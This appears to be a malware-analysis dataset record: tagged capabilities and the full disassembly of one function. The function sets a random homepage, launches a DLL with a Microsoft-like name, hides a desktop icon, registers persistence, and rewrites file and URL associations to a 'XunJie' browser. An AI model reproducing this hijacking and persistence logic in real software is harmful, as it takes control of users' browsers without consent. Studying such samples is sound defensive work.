Function at 0x402530
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Get common file path
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40383f
push eax
mov dword fs:[0], esp
sub esp, 0xd8
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call sub.MFC42.DLL_AfxWinInit
test eax, eax
jne 0x40259d
mov eax, dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Fatal_Error:_MFC_initialization_failed
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
add esp, 0xc
mov eax, 1
mov ecx, dword [esp + 0xd8]
mov dword fs:[0], ecx
add esp, 0xe4
ret
push esi
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
add esp, 8
call esi
call esi
call esi
call esi
cdq
mov ecx, 0xb
idiv ecx
test edx, edx
jne 0x4025d1
push str.http:__www.t7t7.net_
jmp 0x402642
cmp edx, 1
jne 0x4025dd
push str.http:__www.vv33.com_
jmp 0x402642
cmp edx, 3
jne 0x4025e9
push str.http:__www.rr55.com_
jmp 0x402642
cmp edx, 4
jne 0x4025f5
push str.http:__www.t2t2.net_
jmp 0x402642
cmp edx, 5
jne 0x402601
push str.http:__www.4j4j.cn_
jmp 0x402642
cmp edx, 6
jne 0x40260d
push str.http:__www.tt265.net_
jmp 0x402642
cmp edx, 7
jne 0x402619
push str.http:__www.kkk333.net_
jmp 0x402642
cmp edx, 8
jne 0x402625
push str.http:__www.pppdd.com_
jmp 0x402642
cmp edx, 9
jne 0x402631
push str.http:__www.hao9991.net_
jmp 0x402642
cmp edx, 2
jne 0x40263d
push str.http:__www.k2345.net_
jmp 0x402642
push str.http:__www.2345p.com_
mov ecx, 0x40612c
call sub.MFC42.DLL_CString::operator
push ebx
push ebp
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x54]
lea edx, [esp + 0x54]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x58], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x1c]
call fcn.00403352
lea ecx, [esp + 0x24]
mov dword [esp + 0xf0], 0
call fcn.00403352
push 0x100
push 0x100
lea ecx, [esp + 0x24]
mov byte [esp + 0xf8], 1
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0xf4], 2
call fcn.0040337c
lea ecx, [esp + 0x20]
mov byte [esp + 0xf0], 1
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x58]
lea ecx, [esp + 0x2c]
push ecx
cmp eax, 6
push 0x20019
push 0
jne 0x4027fe
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call ebp
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40276d
lea edx, [esp + 0x20]
lea ecx, [esp + 0x24]
push edx
push 0x104
mov dword [esp + 0x28], 0x104
call sub.MFC42.DLL_CString::GetBuffer
push eax
mov eax, dword [esp + 0x34]
push 0
push 0
push str.RegisteredOwner
push eax
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x1c]
mov ecx, 0x406128
push edx
call fcn.0040337c
push str.Users_
mov ecx, 0x406128
call fcn.0040335e
lea eax, [esp + 0x24]
mov ecx, 0x406128
push eax
call sub.MFC42.DLL_CString::operator_1
push str.AppDataRoaming
mov ecx, 0x406128
call fcn.0040335e
lea ecx, [esp + 0x1c]
push ecx
mov ecx, 0x406120
call fcn.0040337c
push str.UsersPublicDesktop
mov ecx, 0x406120
call fcn.0040335e
lea edx, [esp + 0x1c]
mov ecx, 0x406124
push edx
call fcn.0040337c
push str.Users_
mov ecx, 0x406124
call fcn.0040335e
lea eax, [esp + 0x24]
mov ecx, 0x406124
push eax
call sub.MFC42.DLL_CString::operator_1
push str.Desktop
jmp 0x4028e8
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call ebp
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40285c
lea edx, [esp + 0x20]
lea ecx, [esp + 0x24]
push edx
push 0x104
mov dword [esp + 0x28], 0x104
call sub.MFC42.DLL_CString::GetBuffer
push eax
mov eax, dword [esp + 0x34]
push 0
push 0
push str.AltDefaultUserName
push eax
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x1c]
mov ecx, 0x406128
push edx
call fcn.0040337c
push str.Documents_and_Settings_
mov ecx, 0x406128
call fcn.0040335e
lea eax, [esp + 0x24]
mov ecx, 0x406128
push eax
call sub.MFC42.DLL_CString::operator_1
push str.Application_Data
mov ecx, 0x406128
call fcn.0040335e
lea ecx, [esp + 0x1c]
push ecx
mov ecx, 0x406120
call fcn.0040337c
push str.Documents_and_SettingsAll_Users_
mov ecx, 0x406120
call fcn.0040335e
lea edx, [esp + 0x1c]
mov ecx, 0x406124
push edx
call fcn.0040337c
push str.Documents_and_Settings_
mov ecx, 0x406124
call fcn.0040335e
lea eax, [esp + 0x24]
mov ecx, 0x406124
push eax
call sub.MFC42.DLL_CString::operator_1
push 0x405f40
mov ecx, 0x406124
call fcn.0040335e
lea ecx, [esp + 0x28]
call fcn.00403352
push str.MicrosoftIMJP8_1xungc.dll
lea ecx, [esp + 0x24]
push 0x406128
push ecx
mov byte [esp + 0xfc], 3
call sub.MFC42.DLL_operator_2
mov esi, dword [eax]
push 0x100
push 0x100
lea ecx, [esp + 0x30]
mov byte [esp + 0xf8], 4
call sub.MFC42.DLL_CString::GetBuffer
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
call esi
lea ecx, [esp + 0x20]
mov byte [esp + 0xf0], 3
call sub.MFC42.DLL_CString::CString
push 0xffffffffffffffff
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov edx, dword [esp + 0x28]
push edx
call fcn.00401180
add esp, 4
lea eax, [esp + 0x20]
push str.MicrosoftMMCjifef.dll
push 0x406128
push eax
call sub.MFC42.DLL_operator_2
mov edi, dword [eax]
push 0x100
push 0x100
lea ecx, [esp + 0x30]
mov byte [esp + 0xf8], 5
call sub.MFC42.DLL_CString::GetBuffer
push eax
push edi
call esi
lea ecx, [esp + 0x20]
mov byte [esp + 0xf0], 3
call sub.MFC42.DLL_CString::CString
push 0xffffffffffffffff
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov ecx, dword [esp + 0x28]
push ecx
call fcn.00401180
push 1
push 4
push str.871C5380_42A0_1069_A2EA_08002B30309D
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsNewStartPanel
push 0x80000003
call fcn.004014e0
add esp, 0x18
call fcn.00402480
xor esi, esi
xor edi, edi
mov dword [esp + 0x20], esi
lea ecx, [esp + 0x14]
mov byte [esp + 0xf0], 6
call fcn.00403352
lea edx, [esp + 0x10]
mov byte [esp + 0xf0], 7
push edx
push 0xf003f
push esi
push str.SOFTWAREMicrosoftADs
mov dword [esp + 0x44], 0x100
mov dword [esp + 0x20], esi
push 0x80000002
call ebp
test eax, eax
jne 0x402a8c
mov esi, dword [esp + 0x10]
push 0x100
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], esi
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x34]
lea edx, [esp + 0x10]
push ecx
push eax
push edx
push edi
push str.filepath
push esi
mov dword [esp + 0x28], edi
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
mov ebp, eax
call sub.MFC42.DLL_CString::ReleaseBuffer
test ebp, ebp
jne 0x402a74
mov eax, dword [esp + 0x14]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x402a79
mov edi, 1
test esi, esi
je 0x402a91
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov dword [esp + 0x20], esi
jmp 0x402a91
mov edi, 1
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CFileFind::CFileFind
test edi, edi
mov byte [esp + 0xf0], 8
je 0x402b3e
push 0x100
push 0x100
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x4053d8
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xf4], 9
call fcn.0040337c
lea ecx, [esp + 0x10]
mov byte [esp + 0xf0], 8
call sub.MFC42.DLL_CString::CString
push str.Program_FilesxunjieXunJie.exe
lea ecx, [esp + 0x18]
call fcn.0040335e
mov edx, dword [esp + 0x14]
push 0
push edx
lea ecx, [esp + 0x40]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x402b3e
mov eax, dword [esp + 0x14]
push eax
call fcn.004023f0
add esp, 4
mov ecx, dword [esp + 0x14]
push 0
push ecx
lea ecx, [esp + 0x40]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
jne 0x402b57
mov edi, 1
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CFileFind::Close
call fcn.00401db0
test eax, eax
je 0x402b6d
test edi, edi
je 0x402baf
push 0x406128
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_1
push str.MicrosoftIMJP8_1xungc.dll__s
lea ecx, [esp + 0x14]
mov byte [esp + 0xf4], 0xa
call fcn.0040335e
mov edx, dword [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x10]
mov byte [esp + 0xf0], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call fcn.00403352
lea ecx, [esp + 0x30]
mov byte [esp + 0xf0], 0xb
call fcn.00403352
push 0x405e38
lea ecx, [esp + 0x1c]
mov byte [esp + 0xf4], 0xc
call sub.MFC42.DLL_CString::operator
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x34]
call fcn.0040337c
push str._____1_
lea ecx, [esp + 0x1c]
call fcn.0040335e
push str.XunJie.Association.HTML
push 0x4061f4
push str.SOFTWAREClasses.htm
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push 0x4061f4
push str.SOFTWAREClasses.html
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push 0x4061f4
push str.SOFTWAREClasses.mht
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push 0x4061f4
push str.SOFTWAREClasses.mhtml
push 0x80000002
call fcn.00401370
add esp, 0x40
push str.XunJie_Document
push 0x4061f4
push str.XunJie.Association.HTML
push 0x80000000
call fcn.00401370
push 0x4061f4
push str.URL_Protocol
push str.XunJie.Association.HTML
push 0x80000000
call fcn.00401370
add esp, 0x20
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push 0x405d94
push edx
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push 0x4061f4
push str.XunJie.Association.HTMLDefaultIcon
push 0x80000000
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
push str.Open
push 0x4061f4
push str.XunJie.Association.HTMLShell
push 0x80000000
call fcn.00401370
push 0x405d3c
push 0x4061f4
push str.XunJie.Association.HTMLShellOpen
push 0x80000000
call fcn.00401370
mov ecx, dword [esp + 0x38]
push ecx
push 0x4061f4
push str.XunJie.Association.HTMLShellOpenCommand
push 0x80000000
call fcn.00401370
push str.XunJie
push 0x4061f4
push str.SOFTWAREClasseshtmlfile_shell
push 0x80000002
call fcn.00401370
add esp, 0x40
push 0x405d3c
push 0x4061f4
push str.SOFTWAREClasseshtmlfile_shellXunJie
push 0x80000002
call fcn.00401370
mov edx, dword [esp + 0x28]
push edx
push 0x4061f4
push str.SOFTWAREClasseshtmlfile_shellXunJiecommand
push 0x80000002
call fcn.00401370
push str.XunJie
push 0x4061f4
push str.SOFTWAREClassesmhtmlfile_shell
push 0x80000002
call fcn.00401370
push 0x405d3c
push 0x4061f4
push str.SOFTWAREClassesmhtmlfile_shellXunJie
push 0x80000002
call fcn.00401370
mov eax, dword [esp + 0x58]
add esp, 0x40
push eax
push 0x4061f4
push str.SOFTWAREClassesmhtmlfile_shellXunJiecommand
push 0x80000002
call fcn.00401370
push str.XunJie
push 0x4061f4
push str.SOFTWAREClassesHTTP_shell
push 0x80000002
call fcn.00401370
push 0x4061f4
push 0x4061f4
push str.SOFTWAREClassesHTTP_shellXunJie
push 0x80000002
call fcn.00401370
mov ecx, dword [esp + 0x48]
push ecx
push 0x4061f4
push str.SOFTWAREClassesHTTP_shellXunJiecommand
push 0x80000002
call fcn.00401370
mov edx, dword [esp + 0x58]
add esp, 0x40
push edx
push 0x4061f4
push str.SOFTWAREClassesHTTP_shellopencommand
push 0x80000002
call fcn.00401370
mov eax, dword [esp + 0x28]
push eax
push 0x4061f4
push str.SOFTWAREClasseshttps_shellopencommand
push 0x80000002
call fcn.00401370
push str.XunJie
push 0x4061f4
push str.SOFTWAREClasseshttps_shell
push 0x80000002
call fcn.00401370
push 0x4061f4
push 0x4061f4
push str.SOFTWAREClasseshttps_shellXunJie
push 0x80000002
call fcn.00401370
mov ecx, dword [esp + 0x58]
add esp, 0x40
push ecx
push 0x4061f4
push str.SOFTWAREClasseshttps_shellXunJiecommand
push 0x80000002
call fcn.00401370
mov edx, dword [esp + 0x28]
push edx
push 0x4061f4
push str.SOFTWAREClassesInternetShortcut_shellopencommand
push 0x80000002
call fcn.00401370
push str.XunJie
push 0x4061f4
push str.SOFTWAREClassesInternetShortcut_shell
push 0x80000002
call fcn.00401370
push 0x405d3c
push 0x4061f4
push str.SOFTWAREClassesInternetShortcut_shellXunJie
push 0x80000002
call fcn.00401370
mov eax, dword [esp + 0x58]
add esp, 0x40
push eax
push 0x4061f4
push str.SOFTWAREClassesInternetShortcut_shellXunJiecommand
push 0x80000002
call fcn.00401370
push str.XunJie.exe
push 0x4061f4
push str.SOFTWAREClientsStartMenuInternet
push 0x80000002
call fcn.00401370
push 0x405d3c
push 0x4061f4
push str.SOFTWAREClientsStartMenuInternetXunJie
push 0x80000002
call fcn.00401370
push 0x405d3c
push str.LocalizedString
push str.SOFTWAREClientsStartMenuInternetXunJie.exe
push 0x80000002
call fcn.00401370
add esp, 0x40
push 0x4061f4
push 0x4061f4
push str.SOFTWAREClientsStartMenuInternetXunJie.exe_shell
push 0x80000002
call fcn.00401370
push 0x4061f4
push 0x4061f4
push str.SOFTWAREClientsStartMenuInternetXunJie.exe_shellopen
push 0x80000002
call fcn.00401370
mov ecx, dword [esp + 0x38]
push ecx
push 0x4061f4
push str.SOFTWAREClientsStartMenuInternetXunJie.exe_shellopencommand
push 0x80000002
call fcn.00401370
push str.The_award_winning_Web_browser_is_better_than_ever
push str.ApplicationDescription
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilities
push 0x80000002
call fcn.00401370
add esp, 0x40
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push 0x405d94
push edx
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push str.ApplicationIcon
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilities
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
push 0x405d3c
push str.ApplicationName
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilities
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push str..htm
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesFileAssociations
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push str..html
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesFileAssociations
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push str..mht
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesFileAssociations
push 0x80000002
call fcn.00401370
add esp, 0x40
push str.XunJie.Association.HTML
push str..mhtml
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesFileAssociations
push 0x80000002
call fcn.00401370
push str.XunJie
push str.StartmenuInternet
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesStartmenu
push 0x80000002
call fcn.00401370
push str.XunJie
push str.StartmenuInternet
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesUrlAssociations
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push str.http
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesStartmenu
push 0x80000002
call fcn.00401370
add esp, 0x40
push str.XunJie.Association.HTML
push str.https
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesStartmenu
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push 0x405d94
push ecx
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push 0x4061f4
push str.SOFTWAREClientsStartMenuInternetXunJieDefaultIcon
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x30]
push str.___SetDefault
lea ecx, [esp + 0x14]
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push str.HideIconsCommand
push str.SOFTWAREClientsStartMenuInternetXunJieInstallInfo
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
push 1
push str.IconsVisible
push str.SOFTWAREClientsStartMenuInternetXunJieInstallInfo
push 0x80000002
call fcn.00401450
add esp, 0x10
lea edx, [esp + 0x30]
lea eax, [esp + 0x10]
push str.___SetDefault
push edx
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push str.ReinstallCommand
push str.SOFTWAREClientsStartMenuInternetXunJieInstallInfo
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
push str.___SetDefault
lea edx, [esp + 0x14]
push ecx
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push str.ShowIconsCommand
push str.SOFTWAREClientsStartMenuInternetXunJieInstallInfo
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
push str.open
push 0x4061f4
push str.SOFTWAREClientsStartMenuInternetXunJieShell
push 0x80000002
call fcn.00401370
push 0x4061f4
push 0x4061f4
push str.SOFTWAREClientsStartMenuInternetXunJieShellopen
push 0x80000002
call fcn.00401370
mov eax, dword [esp + 0x34]
push eax
push 0x4061f4
push str.SOFTWAREClientsStartMenuInternetXunJieShellopencommand
push 0x80000002
call fcn.00401370
push str.IThunderMx
push 0x4061f4
push str.SOFTWAREClassesInterface41906A82_C6BE_4329_96D5_543B29A18BA9
push 0x80000002
call fcn.00401370
add esp, 0x40
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push 0x405518
push ecx
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push 0x4061f4
push str.SOFTWAREClassesInternetShortcutDefaultIcon
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
push str.SoftwareClientsStartMenuInternetXunJieCapabilities
push str.XunJie
push str.SOFTWARERegisteredApplications
push 0x80000002
call fcn.00401370
push 0x4061f4
push str.D27CDB6E_AE6D_11CF_96B8_444553540000
push str.SOFTWAREMicrosoftInternet_ExplorerActiveX_Compatibility
push 0x80000002
call fcn.00401400
add esp, 0x20
call fcn.00401800
mov byte [esp + 0xf0], 0xb
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0xf0], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov byte [esp + 0xf0], 7
call fcn.004033e8
lea ecx, [esp + 0x14]
mov byte [esp + 0xf0], 6
call sub.MFC42.DLL_CString::CString
pop edi
pop ebp
test esi, esi
pop ebx
je 0x4032ed
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x1c]
mov byte [esp + 0xe4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0xe4], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0xe4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xdc]
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0xe4
ret